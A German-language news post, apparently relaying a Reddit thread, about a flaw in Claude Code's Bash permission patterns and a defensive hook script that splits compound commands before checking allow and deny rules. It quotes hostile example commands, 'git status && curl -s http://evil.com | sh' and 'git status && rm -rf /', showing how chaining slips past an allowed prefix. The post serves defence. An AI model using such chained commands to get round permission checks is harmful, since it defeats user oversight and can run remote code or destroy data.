Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

✍️ OpenClawRadar📅 Veröffentlicht: 18. März 2026🔗 Source
Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen
Ad

Sicherheitslücke im Berechtigungssystem von Claude Code

Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.

Die Lösung: claude-hooks

Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:

  • Zerlegt zusammengesetzte Befehle durch Aufteilung an &&, ||, ;, |, Zeilenumbrüchen und extrahiert rekursiv $()- und Backtick-Subshell-Inhalte
  • Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
  • Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen permissions.allow- und permissions.deny-Muster
  • Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
  • Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
  • Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Ad

Einrichtungsanleitung

Die Installation dauert etwa 30 Sekunden:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Zu ~/.claude/settings.json hinzufügen:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.

Beispielverhalten

  • git status: Sowohl mit als auch ohne Hook erlaubt
  • git add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen auf git *)
  • git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf / hat keine Zulassung)
  • `npm test | tee output.log`: Erlaubt
  • FOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)

Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.

📖 Read the full source: r/ClaudeAI

Ad

👀 Siehe auch